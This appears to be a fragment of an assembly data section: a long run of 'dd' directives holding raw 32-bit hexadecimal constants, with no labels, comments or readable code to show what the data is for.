		dd 0FD85DD58h, 2391652Dh, 0D0807B0Eh, 6818C99Fh, 0E1A0615Ch
		dd 92A37225h, 2A3B5788h, 1A020C2Fh, 0D32B05B3h,	0C6A490E4h
		dd 30CE0159h, 2451273Fh, 80BC55Bh, 0B5D714E2h, 0E919C466h
		dd 5922C3E7h, 21813D7Fh, 19DE0BB6h, 0F2EC84B6h,	9DCD6181h
		dd 304E2756h, 710B0D79h, 8C21404Fh, 2CE1E84h, 0E9389851h
		dd 2273506Dh, 0A0BC163Dh, 10B6C120h, 811A0003h,	0FBCB30EAh
		dd 0DC4AE947h, 5E5F190Bh, 0A2F9534Fh, 689A4B0h,	2211D803h
		dd 460F053Bh, 901BC63Ah, 1F5F31D5h, 0E016A36h, 410A8B22h
		dd 536A17BAh, 4160FCA0h, 64806129h, 0FD77013Fh,	12FE4A2Fh
		dd 62B08494h, 3A2277E1h, 7E10AA48h, 101ED26Dh, 0A3FAF8Ah
		dd 0BFB2E984h, 0A3E267AFh, 142FAA25h, 86C09121h, 0A65B6A3Ch
		dd 90CE4B90h, 0F883E91Eh, 20159D70h, 3B07E904h,	884A5914h
		dd 27997FFBh, 2B0FC101h, 75ED5197h, 3E708C28h, 0CA4B2CF8h
		dd 0EB800BC0h, 876DB3Eh, 5F131007h, 36A27804h, 3D0ECB91h
		dd 542C0B33h, 0F5B901F3h, 4062B250h, 494790CBh,	0D93F01FAh
		dd 11E125E9h, 497BB6CBh, 774E2E3h, 0E9A95469h, 8493980h
		dd 0E92A17E3h, 71908DD5h, 82949E5Fh, 2B77C9C7h,	5C1624B2h
		dd 5972609Bh, 62B57568h, 0E8E64429h, 91030B2Ah,	57D089C9h
		dd 6445A627h, 0EFF013B8h, 0F33984F7h, 78E90DE5h, 9D219D3Eh
		dd 0A2601828h, 71037DB0h, 7BBC689Dh, 0B36B04C4h, 0A43D4BE9h
		dd 454B1A40h, 812FA98Dh, 7E7B8FEEh, 0E7F47031h,	5F362500h
		dd 35674E01h, 55EE34C2h, 0C4C1F2FCh, 80E5D11Eh,	7C62EAD1h
		dd 0A2B0445Bh, 13F704A6h, 805DEE21h, 0B401CA36h, 0E2E0725Bh
		dd 6D4004CCh, 0A2F41BE9h, 1DE64892h, 0FC077D3h,	740DA9BDh
		dd 0FD31273Eh, 0ED22B196h, 447EC101h, 0A0516045h, 7417FF8Eh
		dd 0BD006B3Bh, 90398FF1h, 0CD2916BEh, 0E9DAF059h, 6E026325h
		dd 0EE833B45h, 548E307Eh, 47FFF61Dh, 0A4797F3Dh, 5280669Dh
		dd 455B2D68h, 425A2601h, 0FA30135h, 6AD11C46h, 0D1505B82h
		dd 3CD4244Bh, 0F7005749h, 98DB35D8h, 9503C1Bh, 0EB1F81DFh
		dd 3E927E47h, 0A70A5145h, 50003516h, 815A75DDh,	38D701CAh
		dd 0EAC111AAh, 31F2E402h, 1D7FCF17h, 6812058Eh,	4FCCB3A5h
		dd 0C729D721h, 2EC0EAADh, 233014BFh, 0E0CFCE17h, 0C2D8786Bh
		dd 7A3F1A0Ch, 0FAF382F7h, 6064E27Fh, 4F17E9CDh,	6666A340h
		dd 0D615D3E8h, 7E90FC9Ah, 5A5E317Bh, 0D676B64Bh, 9A89C95Fh
		dd 0CE5E4691h, 724E7C09h, 0E9593057h, 2251623Bh, 0B0DDE0D3h
		dd 47948F0h, 28E907AEh,	0B5C9ADE2h, 5E50A89Ch, 0D0B07310h
		dd 3E3D1CE1h, 0EB87C534h, 0FEB822B4h, 0B9026275h, 327DD829h
		dd 25948634h, 0F788273Ch, 7BF64342h, 25B77DEFh,	2D9BDD53h
		dd 0AEDAD220h, 8213D469h, 0F3E1AA0Fh, 8CE94168h, 8059003Ch
		dd 5DA879C3h, 0FE79C73Dh, 0BF93B28Eh, 11387780h, 0FAF8D387h
		dd 6609A592h, 0EA2E6A68h, 0BE567460h, 8F8A5132h, 50816821h
		dd 0D826E666h, 5568C7D5h, 0EE10201Ch, 5A3BF588h, 0F68D0B52h
		dd 0C56885DEh, 297A8529h, 0BAF615D9h, 0D747A838h, 0DF05FD91h
		dd 25627D48h, 9785FDF8h, 6CE9E0A8h, 84FCCB14h, 8705192Dh
		dd 8F1B83D9h, 7F0E99C9h, 3152DC0h, 6BE92763h, 6DE6A869h
		dd 5560A582h, 9C8BF0Fh,	60FA6856h, 0E942B2F9h, 58207F44h
		dd 0A41FC8F5h, 0EAB0774Bh, 5FD34A2Fh, 0A0C5C053h, 310F72BDh
		dd 0E95DEF05h, 0B3A21F82h, 8EF5026h, 6C2F42A0h,	970F98F9h
		dd 66288AC4h, 50959EDBh, 6CF71EB3h, 265A630h, 6B5040A9h
		dd 4AF0E140h, 149B101h,	0C791E9D5h, 1196A622h, 24747853h
		dd 0B1A2EBE9h, 29527C9Eh, 80C0C908h, 80DAF65Dh,	33DE73C2h
		dd 2C0616E2h, 0E9C81206h, 0C0C3361Eh, 0A1DB0D9Eh, 0CAB421F3h
		dd 0CB21A6A0h, 0BF74693Eh, 0B5799E03h, 58E9B026h, 0C628D65Ch
		dd 36E067Bh, 8F0AE4C2h,	87E378C3h, 5F76DDD2h, 0EE7E11A0h
		dd 0E8925D5Ah, 9A95E94Fh, 627AB1Ch, 7FF46649h, 9A032587h
		dd 4D6A38Bh, 0E53C5552h, 0C597EF7Fh, 0D84427BCh, 0F7196A62h
		dd 208FC0DDh, 3D13262Dh, 778002CCh, 6F5078A1h, 81204C48h
		dd 3DCA05F3h, 0CDD9007Bh, 61C43316h, 34012890h,	0E9190F28h
		dd 73B54423h, 1B1401E2h, 3F7E1C25h, 0D968E702h,	802F792Fh
		dd 0A70FA2F8h, 9B7E5E9h, 2534DE4Dh, 795E2D62h, 4BC39F54h
		dd 99327A2Fh, 9D3C25D9h, 929DB34Eh, 4913ACF0h, 505085Bh
		dd 0FFEF4C01h, 6ECBB017h, 1682F64Fh, 212C5BDFh,	0C04671E9h
		dd 3DAFEAADh, 0CD43E1Ch, 0CB0538BAh, 0FFD166F0h, 0F3CE253Eh
		dd 517C324Eh, 2B9A6158h, 0B5EB5748h, 9DEB12Ch, 51B71A16h
		dd 307E5EDh, 0F55B73C8h, 590700F3h, 487BA6BFh, 0B429C634h
		dd 93313BAh, 6900579Ah,	1A655393h, 0DEC82D07h, 0C68DA012h
		dd 0C58001FAh, 0ABD1208Bh, 0A426D94h, 568209A8h, 0F409CF16h
		dd 504CBA0Bh, 684C04D3h, 6DCCAAB3h, 3C5D4A54h, 0E916C587h
		dd 6AE8BDABh, 33BEEDC0h, 14E6355h, 803C0B1h, 0E9750C59h
		dd 5F34B97Bh, 0DB4DBA5h, 86F49EFCh, 45B5FC2Ch, 0E35208FAh
		dd 20DE722Dh, 6894196Bh
		dd 787289CFh, 0F5AD80A0h, 0EEA29F5Eh, 7EC9487Ch, 2D236F58h
		dd 2203C5Bh, 12D5BD9Ah,	70550587h, 7CFE7234h, 648C998h
		dd 30A62B2h, 0E9D2404Dh, 0A2DA5A37h, 22FD7868h,	39EB0006h
		dd 88486E35h, 4F1BFA03h, 25858E3Ch, 8C7CB15Ch, 0B6544024h
		dd 0BCFC5285h, 6590107Ah, 2B91D4FFh, 0BE5C2924h, 80C31F24h
		dd 0A9309368h, 4113593Ah, 3401D1F7h, 0A1E15CDh,	0C041CB46h
		dd 0A04DEFC2h, 2102CCACh, 6FE95FF9h, 8CA3E532h,	0E675FA15h
		dd 9D0A949Dh, 57489ACEh, 0E5721950h, 342EC135h,	0A65BC0B8h
		dd 3709A5C9h, 0C4416268h, 0E95A127Bh, 2D87B033h, 0A51ADF07h
		dd 22403507h, 4C018D9Dh, 5E1EC7h, 5D0F79Fh, 0CF0002A0h
		dd 0F9CE2D5Ah, 50316F8Dh, 0B5D2FEC1h, 69BF5ACCh, 2FCBCD02h
		dd 9182A4D9h, 0FB61F929h, 4DC7B57h, 0A6EA4A31h,	73B900D3h
		dd 81414852h, 3D9203F1h, 0D9F7204Ah, 0F094BAD9h, 73B00D73h
		dd 84EF793Eh, 0EAD6E92Ah, 4EF1D690h, 0A4681951h, 3B2B8516h
		dd 55B29C16h, 0D01B0D4Bh, 0EAA42A16h, 3B0B1FFBh, 576B47Ch
		dd 0FB4F8907h, 3A922921h, 0FB60BA02h, 811D0FD3h, 61C9DCE2h
		dd 39895E28h, 6EA93h, 0CD339D40h, 0A00B351Eh, 0F6089E61h
		dd 0FD25010Eh, 3039D61Ah, 0F190E64Dh, 0A9C23128h, 0BDEC152Ah
		dd 0C81FAB9Ah, 933ED9BDh, 1F34E28Dh, 8DDFF0Ah, 3A84042h
		dd 0E95F888h, 0CBCF53D0h, 595BDC02h, 0FE416A57h, 0EEE95974h
		dd 68012754h, 70C2396h,	0B8CBB730h, 5CD7263Ch, 17BB02BDh
		dd 80C83988h, 0E927C321h, 0F66B629Eh, 70646F35h, 0E83ED3Fh
		dd 0B4D945A2h, 0AC9510BAh, 0BA406E4Ch, 1F0F0FBEh, 0B0C510B6h
		dd 0C42CA897h, 5E0542DEh, 9833815Ah, 117C42Bh, 0E955C205h
		dd 0D8EDF8D3h, 39416107h, 0ACA6046h, 5560F372h,	406DCE0Ch
		dd 0D324C136h, 40503D65h, 0B706E5D9h, 0C270F0B0h, 0DE79FE02h
		dd 0F14309E9h, 0FF6689CDh, 95AB2968h, 5AC76FC1h, 40CAF62Fh
		dd 2D4ABBEFh, 0BC88A7D5h, 16C200FBh, 71E90FDFh,	0B9007696h
		dd 0E6A08CD0h, 54CB7C31h, 0FB8BC97h, 55394D61h,	3FE17792h
		dd 665C010Bh, 6D8E0BBFh, 5F5B8269h, 986D118h, 145DF711h
		dd 0B43CF851h, 0D79A2DCEh, 3D475BF4h, 5DB7B48Bh, 0A1DD4B5Bh
		dd 68841F4Ah, 0D7F31814h, 1892F07Ch, 70835766h,	7830E9FFh
		dd 0F0ED495Ah, 1DD10423h, 905DEB89h, 6E0C122h, 775E92Eh
		dd 660230A5h, 44B34E0Fh, 0E9402074h, 7F351E99h,	160E2D53h
		dd 726B64C8h, 0E1D900FEh, 3694196Dh, 679C176h, 0A460C93Bh
		dd 0F1010FCDh, 4DBE6FE2h, 67E2826Bh, 6A0255CAh,	0E8C67E78h
		dd 0F1ADE912h, 89ECBFCh, 0D1134757h, 8B7A20BCh,	2D3BCDE9h
		dd 74610019h, 0EEC12EEFh, 156B007h, 62BA324Dh, 6BD7E94Eh
		dd 170B3712h, 0A50EFC06h, 76245258h, 0C20151B7h, 0EE421763h
		dd 5507346Ch, 41E66856h, 985E7B14h, 206035Ah, 3CABEC81h
		dd 0C6DBD8A2h, 0A30C12ACh, 7E79E812h, 6F68130Fh, 418CB928h
		dd 1F9F0408h, 0E9CE8214h, 2F7F0741h, 0DB179E79h, 1CF70DE4h
		dd 8B65055Eh, 0B5854D10h, 5F07012Dh, 7602C083h,	0E5575890h
		dd 0D03575FBh, 52D18871h, 0BD3C9DBBh, 0BAB6DEC8h, 8774097Ah
		dd 7B525A01h, 2B4AE7B0h, 0A2B66E81h, 0BE4AEFDCh, 519D885Fh
		dd 0AF58001h, 0D870D5F6h, 0E80E8A2Eh, 0C22030E5h, 2BF7FA41h
		dd 42D0F4A7h, 210393B2h, 0D45012D5h, 0B5A5F8F9h, 6D688020h
		dd 0E91A17A9h, 98B79135h, 891BC8EBh, 822F39B6h,	5DE81853h
		dd 8B634E12h, 0C4BF10D6h, 0D323A131h, 0E4CD877Eh, 590DF0BCh
		dd 5450F494h, 7B5AE9h, 2D34BE7Dh, 0C1B721FCh, 60CC0661h
		dd 0EBE30481h, 0C144886Bh, 0C90B6CE9h, 82D02A64h, 4C19292Fh
		dd 2503F114h, 219E5E09h, 3246AA60h, 0F9280776h,	0D3D69130h
		dd 619683DBh, 0EBAE3E87h, 0EDBACB6h, 0C0F328CEh, 0CAB0505Ah
		dd 435D27E9h, 0EBEF9E71h, 0FADCE3A9h, 0B52D114h, 0CFD619F0h
		dd 0E84401C2h, 893B0CC2h, 4258C465h, 7E0A2DE4h,	0B43114F6h
		dd 0D0D5F2B3h, 0C1436292h, 0E025ABD8h, 36E16075h, 0F6F04E81h
		dd 785C1FF0h, 0AF93120Dh, 6AC72A22h, 649EF49Fh,	2DD4AB68h
		dd 0EBA407FCh, 40317917h, 5FC0BF57h, 823F48E0h,	0A17D00Eh
		dd 2F02A157h, 0C95B35C0h, 5B65B00Fh, 0FE9D0F61h, 1BC18023h
		dd 8E64C79Ch, 0C26310D9h, 6812CF41h, 0AFAD2446h, 0C7F014AEh
		dd 0EFE5BF58h, 874BD497h, 8FC6562Dh, 2E85F001h,	4DEB9D1h
		dd 42FB5A2Ch, 0E83E12BFh, 505CC618h, 6CE927EBh,	5866E203h
		dd 1C53BC26h, 0D7886207h, 0F0A18BF5h, 588B3639h, 0B69C3B66h
		dd 0E9B0336Fh, 0D95E4FF0h, 0F5CF7C71h, 1BC9BFE2h, 595B0F50h
		dd 0A229F2CCh, 0D4810987h, 94FFE4B1h, 0FDD90950h, 4F408000h
		dd 0C104DFF7h, 46E908E7h, 3C80D8A0h, 6F2E9DEAh,	0E250936Eh
		dd 326A4AECh, 0E8CA3912h, 55BDC4F7h, 9C715C09h,	43A4D4A5h
		dd 2E4E916Bh, 0DD25ADCAh, 0BF4138FBh, 27F52C78h, 1237CEA6h
		dd 54800D7h, 1D44B1Eh, 31E9F916h, 0FC2A6A4h, 376520B4h
		dd 0A81CEAAFh, 0C85D4B08h, 1E5BFF58h, 10C1F98Dh, 0EEA48D2Fh
		dd 0AC530174h, 0E19882A9h, 0C39EFCE9h, 42CC5B25h, 5907F83Dh
		dd 60C05E63h, 6BAE44ABh, 889D4D68h, 0FC220701h,	272CE918h
		dd 8090CD43h, 1FCBF029h, 10647E52h, 195D3BA9h, 0F57D4D13h
		dd 2FF7A52Bh, 0B845098Ch, 4F5F0162h, 65E9F38Ch,	95B2482Fh
		dd 2B14A7E0h, 931AFA29h, 60B8E0F0h, 85BB6696h, 0EE1F106Bh
		dd 5109D929h, 0E9E0D63Bh, 980C618Ah, 685EAE58h,	1D1FC631h
		dd 0D03A4289h, 880A63D9h, 479175Ch, 2CCE094Ah, 69118EEh
		dd 0DCFB4106h, 6B95121Dh, 5679F237h, 5E5C1364h,	8D4055C4h
		dd 0A7C5826h, 65EC4578h, 0C058ACBDh, 60796226h,	0C7559401h
		dd 0A91F85E9h, 18F292A5h, 7728AE92h, 51669D5Ch,	12A75848h
		dd 0B54739AFh, 7D0EEDEEh, 0D06CC65Dh, 66013511h, 0B70FC331h
		dd 6A52F1C0h, 5BDD97D1h, 4B01A62Ah, 4DE9BEDCh, 6C4CA08Ch
		dd 0CF063C0Eh, 0BAF280B3h, 0B3F86C22h, 0E7639Dh, 2E29F638h
		dd 61BD5507h, 0F1B24C16h, 0E9091CB8h, 8D7C9326h, 5098296Fh
		dd 5F54320Ah, 8FDDA032h, 0CD71A484h, 0F8F875FAh, 34E24F03h
		dd 7C185925h, 890F6664h, 9870E902h, 0B75BF3Ch, 97B6F2Bh
		dd 100F210Bh, 107F6727h, 0BFE9F129h, 8B7D405Ch,	0FE1A40EEh
		dd 0EC04D2CAh, 0EDC00762h, 0A8368008h, 2E9B7006h, 12BF59EAh
		dd 45000B5Ah, 0D12FD25Eh, 2B994D5Ah, 0EA8AF785h, 192AAC94h
		dd 9720F01Eh, 9CD0E02Bh, 47CEEB1Fh, 691E6D17h, 8EB42181h
		dd 19E12D13h, 482940D4h, 84173D8h, 9E58B068h, 51136513h
		dd 6614F6A4h, 3A1680F7h, 4489CDBDh, 7049AFF1h, 1220503Eh
		dd 0AC8832B6h, 0C8853AB4h, 0EE1313CFh, 0C3254BF2h, 0BAFDDF62h
		dd 31B0D7F8h, 6CBD8EA5h, 139C65A7h, 0AF8B825Eh,	0E227540Bh
		dd 0B3649D07h, 591BD918h, 5A5AD568h, 2406A689h,	0E4280F21h
		dd 25EF0B5Ch, 89AF7946h, 2D742540h, 2193C0C8h, 0D996E604h
		dd 5F1E290Ch, 0FE0F7690h, 0E9F42E90h, 0B58120F8h, 0C0DDF6E4h
		dd 6E5C004h, 9348C580h,	6D6320Ch, 55516178h, 0BF5CCC6Fh
		dd 4A0CDF16h, 3858DC41h, 0A897229Ah, 0B02C1303h, 2D286606h
		dd 269EC5E0h, 65F0BA13h, 4A869058h, 0C0D6AC48h,	75685155h
		dd 5A892C41h, 64F75BA3h, 97B4F879h, 7159FFA0h, 7C709849h
		dd 75F83F70h, 55A7CDBDh, 0A7E3D29h, 4E5C106h, 68B3B00Ah
		dd 0ADE37DF4h, 16C6F004h
		dd 66052A1Eh, 7FC02ACAh, 25ED2F57h, 8E2016Eh, 51C080Dh
		dd 8351F914h, 4A999AE9h, 250AF64Ch, 46DD0928h, 0B169F6Eh
		dd 0CB92EA42h, 929648CEh, 0EEB22CBCh, 0B96D27CAh, 186027A8h
		dd 2198C671h, 0E54151C2h, 0F130203Fh, 77B4CE87h, 2AC33E8Bh
		dd 0FCCB8090h, 145D7A5Fh, 7C06842Dh, 0C03153E9h, 4E8C117h
		dd 0ABBE0EAFh, 0E5825527h, 0F7850949h, 0E3C4B4C0h, 0D84B81FAh
		dd 282D038Ah, 8FB91B00h, 7B7A6B01h, 8114DD31h, 17C492F5h
		dd 8DD99D2h, 5A13DE10h,	0E8288244h, 0D1C85E82h,	0A29D89A6h
		dd 6B026ED9h, 7402F13Dh, 0F7DB52B9h, 0E8418703h, 6DC2750h
		dd 1300ABFBh, 213C7076h, 3B009DD8h, 3DD9387Eh, 0B2604E90h
		dd 9DF68181h, 5251091Bh, 0F48F501h, 10831105h, 48C9992Ch
		dd 8C5DC6B8h, 2948B712h, 88802661h, 26639BE2h, 9CC01E06h
		dd 739E405h, 33B9F280h,	0AA84F8C2h, 6048BDC8h, 60F28FF0h
		dd 0B76AA19h, 755CCA1Eh, 5E010192h, 3CB74273h, 9983F300h
		dd 0D7292D00h, 5BE94F5Ah, 0EB20B431h, 0EC634B0Bh, 6D82D0F2h
		dd 0A97A1802h, 5B55FEEh, 22C04D13h, 768F56F5h, 0E8CD0D0Eh
		dd 207C935Ch, 0BF17DC51h, 1D998977h, 7E01F44h, 18610F68h
		dd 32441DB9h, 5F9DA2FDh, 0B19F22A3h, 29BCB9FBh,	4E561109h
		dd 5F74C225h, 0C54AAABDh, 2E546EA0h, 0F8733E2Ch, 48C45E1Ch
		dd 15A14D21h, 0A51BF889h, 517B074h, 0E021A5F5h,	0CA5E2438h
		dd 0F656250Ch, 0D6896161h, 8B9A605Ah, 12B2345Fh, 63F9A712h
		dd 9302EA99h, 3A1BCF05h, 1085D42h, 1D0B3E07h, 0A77C0B19h
		dd 742C9F01h, 7B354E78h, 9033BFFCh, 5A570B3Ch, 0CC09E78Fh
		dd 68854571h, 18B263E8h, 0AC4DE909h, 6BBD6A72h,	0AD3BDB40h
		dd 1AAE8D20h, 582B607Eh, 0EA1C523h, 2D0322B4h, 5CB680Bh
		dd 990D11B0h, 727A14Bh,	0B11CA07h, 7AC21FE9h, 96AF9C75h
		dd 0E9E91E4Ch, 0D7F301CAh, 70145D01h, 4E00AE33h, 0CB877EE0h
		dd 974125E9h, 0C6177F4Bh, 56B332FCh, 0F848D88Bh, 75A0C93Eh
		dd 61061422h, 6EBC15Eh,	3DC60260h, 95E9E4BEh, 0BFBFCC5Eh
		dd 3813899Fh, 4D0C55Fh,	0B36D9768h, 2637049Eh, 2BF26CAEh
		dd 3A032394h, 8312037Ah, 85F085B4h, 8176FDE1h, 0E26D7068h
		dd 0E5EBB02Fh, 96051816h, 25F6B605h, 82087027h,	0DF87FB29h
		dd 2908BE41h, 0C46BB7DDh, 5868121Eh, 530B3348h,	0F10901C8h
		dd 10971352h, 5A27BD1Eh, 0CA842654h, 1AFAD22h, 0EDB2EA13h
		dd 3F916FDFh, 4B3E06B5h, 0DFE1CBAEh, 0B33BF82Dh, 0AD376D7Ah
		dd 0EDF214F2h, 83AFD689h, 7CE05DA2h, 77D10C06h,	9B63519h
		dd 15550678h, 3F3E1680h, 0E9164D95h, 1A29DCEFh,	68AF2C7Fh
		dd 6ACCAF5Eh, 309113B9h, 0E17C078Bh, 1C216259h,	772C417Eh
		dd 0F6AB0625h, 0E59C79F8h, 0F8E35143h, 0F63B9852h, 0CDEB4AB4h
		dd 2738D36Ch, 0CA62DE59h, 5490C250h, 88D02F59h,	5275A9BFh
		dd 995F4D3Fh, 4AF95A28h, 86CBA645h, 0F62137E9h,	533B03E7h
		dd 0DFF72B24h, 5227FA1Eh, 96E12212h, 0C160D62h,	192A66A5h
		dd 853266E8h, 202BE2C8h, 0C2FEC7B2h, 219824B0h,	0EAE61BE6h
		dd 3E5ABA40h, 0F90BCA2Ch, 6A2BEBE9h, 30CB84DCh,	9F73CAEEh
		dd 4A841132h, 0EC93A5B4h, 2A7BE366h, 179B3530h,	2DBCF9EAh
		dd 0C9E13BECh, 6D1D2502h, 0A5ED027Dh, 52047526h, 16086E01h
		dd 238D5BC3h, 60210C0Ch, 0B0EAD254h, 42C46EAEh,	0C380F303h
		dd 0A811A5BFh, 0B2B45877h, 0D4AEAB19h, 86A2A715h, 0EC09D8ACh
		dd 5D567D5Dh, 11451C1h,	4305EDFEh, 1F5FB463h, 4713CAC9h
		dd 87FAA582h, 7D2E2309h, 60AE6259h, 5EE97181h, 605D1315h
		dd 3BB635E8h, 0E95EDE09h, 768D72A8h, 0FE3130C1h, 0D159CFE0h
		dd 1DAAC5C1h, 0E9D938F5h, 49755232h, 0BE1DEB47h, 7DB549D6h
		dd 6829E080h, 13B207BFh, 51536117h, 25ADEE41h, 1A6CA432h
		dd 0BA2B410h, 0D14F0958h, 31E52548h, 0FB9BE961h, 0A44A8C6Fh
		dd 4C8F0B4Ah, 0A84E4E59h, 0F4FDF4A3h, 0EBF69884h, 2F25EC43h
		dd 0A4AAD357h, 4A6255B9h, 96D55450h, 0F84CB5A1h, 93036D35h
		dd 5DBD6D81h, 0F84102C1h, 0C87EF23Ch, 149F56DBh, 41949898h
		dd 78F72C94h, 51C884Dh,	0EED14E5Bh, 7CD48F80h, 30477F0Fh
		dd 882EB7D9h, 469758E3h, 60681244h, 3A64BB50h, 426929AFh
		dd 0DE09AE5Bh, 6F0C6DF8h, 530B52CBh, 2A6077E9h,	0A1EA2BEh
		dd 92890D2Dh, 0F48DA48h, 6AD92921h, 9629306Bh, 11AD2B77h
		dd 241BDFh, 10E825C1h, 3D0AD4DCh, 8A55677h, 410B18D9h
		dd 0C50EFE2Eh, 3C67BD3Fh, 81A04F7h, 0C2F4314Eh,	0A6CF2D4h
		dd 38C4E9A9h, 4FF64B1Dh, 137FED51h, 4B2CAB1Eh, 64552F68h
		dd 4EA59FD1h, 0EEB0B57Bh, 50605AD3h, 0F169B414h, 0C8E9256Bh
		dd 99588B05h, 0B5E7F08Dh, 41493094h, 172F3456h,	0E8060314h
		dd 0C58CD493h, 0BD54EF5Fh, 0C9F45E62h, 0AF0D229h, 0AF902516h
		dd 10975E5h, 92A803CFh,	6641D20Eh, 0FCA39A3Ch, 595312C9h
		dd 0C1DA04A8h, 11EC02Fh, 0D397CF29h, 0D4D04E34h, 2D224941h
		dd 68D2985Dh, 8C084F2Ch, 644CBB6Bh, 0AFF14F2Dh,	5B9B4260h
		dd 3CADCC38h, 0B35FFA40h, 0E95240BDh, 0CE95DE33h, 104DBF8Bh
		dd 45B25200h, 96E3B551h, 15CB0BDBh, 52FC252Bh, 317B216Bh
		dd 4FE05FFBh, 48C29295h, 280429CAh, 0FC35BE60h,	0D2FA0493h
		dd 2BF93F8h, 478668E6h,	48FC33D7h, 0EEE4629Ch, 4E145C84h
		dd 2A4789F9h, 805ACFE2h, 6A36AA42h, 0E05B4E37h,	2F4EE3FEh
		dd 0C6C974ACh, 0C575DEE2h, 7B144D7Dh, 0D8425FCAh, 0A97D3E16h
		dd 0BE56804Ah, 18A1DB1h, 1CEE8122h, 8F423F17h, 2905790Ch
		dd 6D478075h, 0C31DF837h, 0AB1BC00Ch, 4FBC183h,	0E2D72A01h
		dd 0F1010770h, 0E9D05122h, 0E6A7CE17h, 457A50CDh, 14E00213h
		dd 790AD301h, 0A8216C56h, 0AC46133Fh, 0FD87F287h, 0F068C918h
		dd 440E2512h, 0F96B3F1h, 49C9E043h, 0A2419A41h,	0FF962A0Ch
		dd 681B63D5h, 0BE51649Ah, 0EC5E2E82h, 0B8D584Fh, 782B5FF4h
		dd 890089F6h, 4AE9206Fh, 89C9D416h, 0BC1DE304h,	0EA1F8751h
		dd 1DC2607h, 5A48DEC9h,	2FB06460h, 5005281Fh, 1D8296FBh
		dd 7A48B240h, 2583138Ch, 0F95C01C6h, 15F00292h,	2AB3A046h
		dd 0E2637F9Ch, 33718AF0h, 0DA3AD6A5h, 2DD598FDh, 936619BDh
		dd 4605485Ah, 0E9255307h, 397C4481h, 46AC2C28h,	0C8018566h
		dd 0AC0A1205h, 9352B116h, 4E12A22Ah, 93B4F3B8h,	93A4144Eh
		dd 6809FBBEh, 5F9F7274h, 0B7EF000h, 297E1440h, 888BAB0h
		dd 5F4E59CBh, 193BFECh,	6D69DC45h, 81D3FD23h, 0AE423C2Eh
		dd 0A43A490Eh, 75149BD3h, 4BF70A2h, 3E86C984h, 5624F5ECh
		dd 51B602BEh, 70746D0Fh, 1989491Fh, 881C54E5h, 0F12803FEh
		dd 336DAF0Ah, 0D917DC3Bh, 54112BF2h, 0A2C5108Fh, 684FBE00h
		dd 0E6817C76h, 6F44CA0Fh, 1EAF252Dh, 0E019546h,	69E2950Ah
		dd 9BDB8077h, 1392A168h, 0C5DEA21h, 20607A2h, 0FC096C90h
		dd 0F2200803h, 8BF35E08h, 0E28076B9h, 45C3B435h, 0D8A9C259h
		dd 3003240Ah, 0D9CC8C51h, 4E6DF280h, 0D7D7ADD3h, 0E9C258ACh
		dd 0FD7ED426h, 2F1C07A5h, 0CA5AD6A3h, 197BD3FDh, 0C668530Ah
		dd 4EA41BF5h, 59A709A0h, 443D760Ah, 960F136h, 0B7992FA8h
		dd 0BEA1C42Ah, 41B3B92Ch, 69256BA1h, 2A0CAE09h,	0CB195C13h
		dd 842EEC12h, 9DCFBA69h, 17FCE909h, 5D660674h, 0F0B90F33h
		dd 0DF25938h, 780DEE23h, 4C25783Eh, 4FA6440Fh, 0CF3A43B8h
		dd 7BF2070Ch, 0F1EEE377h
		dd 95A5851Ah, 42508CE1h, 4FE6A7A9h, 0E9638C9Bh,	1E0A8E05h
		dd 0C028F64h, 8038826Eh, 0FEAAE60Eh, 96EEA7CEh,	0DCF2F307h
		dd 89510128h, 869892D1h, 53E70140h, 0B85A723Bh,	17F90164h
		dd 11E92257h, 10F703F6h, 5A8D4630h, 242E4A01h, 61311820h
		dd 0B684177Eh, 8A645EE9h, 0E45F7AD3h, 7D7681Ah,	53821F6h
		dd 0BCF72959h, 351C052Fh, 8EB15B0Ch, 40030682h,	0F3FE2B0Dh
		dd 4C1AA430h, 0C77F595Ah, 750B053Fh, 3D784782h,	40EF2D16h
		dd 84049A9h, 0CE219858h, 0CC48012h, 5B0BC02h, 71F34D79h
		dd 65C27281h, 0B012F0F0h, 0E81D0947h, 20C0631Ch, 0EB971041h
		dd 0B531FF5Ch, 41FA7D46h, 0B600F80Bh, 0FE5B3070h, 4E28FF28h
		dd 0E9CB42F0h, 5E01495Ch, 0A4EA0268h, 0C6A80CE7h, 9E1D041Ch
		dd 10A449E0h, 424514DDh, 81761019h, 7E5E87Bh, 724E74E1h
		dd 79C7D645h, 102D9EBAh, 342CFA32h, 88378C1Eh, 69956553h
		dd 3384C8BCh, 0F60E2968h, 0DC45D2F9h, 5AA327CDh, 8A7ADF00h
		dd 3C2D5860h, 0D49111Fh, 0E9FDC798h, 8D94DDh, 0D70BD8BDh
		dd 0F5018116h, 15082EC6h, 7C30DDF7h, 0D17D1AE4h, 0DC600C27h
		dd 0CC33D96h, 0BAB93397h, 1BA8989h, 0C9596DE6h,	5423C130h
		dd 71687911h, 3DC69751h, 4F31BA4Dh, 64509DA3h, 754313A8h
		dd 179B0511h, 0BD8CE024h, 89806B9Ah, 0C32E3159h, 1B24C558h
		dd 37302A16h, 4B3934BAh, 0CADBA118h, 0F11C088Ch, 26C17203h
		dd 0B056E9h, 2B0CF533h,	0EF017706h, 0D1E5195h, 25229FFDh
		dd 3F047EEFh, 4380D2F7h, 0E7C36A1h, 0E9D729C5h,	46E5633h
		dd 168F66A2h, 602A8EB0h, 0CDB9D629h, 3C49B1B5h,	6E892C4Eh
		dd 0F39D225h, 3FA87619h, 72D45CCBh, 5B090C68h, 41BE5629h
		dd 603D018Ch, 804040B2h, 1F8A58B5h, 96C3330h, 82B75BDAh
		dd 9F743E4h, 64691E80h,	81054F03h, 7D3A8ECBh, 3C238405h
		dd 0DB6128BFh, 90FDDDAAh, 97EF3806h, 9A572F3Ah,	0C582D549h
		dd 780B0DD7h, 2817587Bh, 406859C1h, 9E61925Ah, 9430DEA0h
		dd 0D199089Eh, 4FDCFC25h, 0B8C1AE49h, 485D3729h, 84193809h
		dd 49E97110h, 0CEEBBA4h, 4D27430Fh, 1A9DD060h, 0E7CA57B8h
		dd 16A58401h, 65F5300Fh, 9D31DC40h, 26884F59h, 0CFDE30E7h
		dd 1C7B3337h, 0F3363F2Dh, 40FCCB15h, 8E45F52h, 49E9FAB1h
		dd 0BE79CD1Dh, 7132F602h, 0E8757B7Ch, 72BFEB4Bh, 9F7D5C67h
		dd 8036851h, 0DC0E045Ah, 0C4618C44h, 0CA62ECADh, 0CA2C0DB9h
		dd 0E262322Ch, 2608C432h, 0A7E1A31h, 93979655h,	31942DDAh
		dd 4F9422D9h, 84F40AA8h, 2AA4B1C5h, 0A04066F2h,	99380ABAh
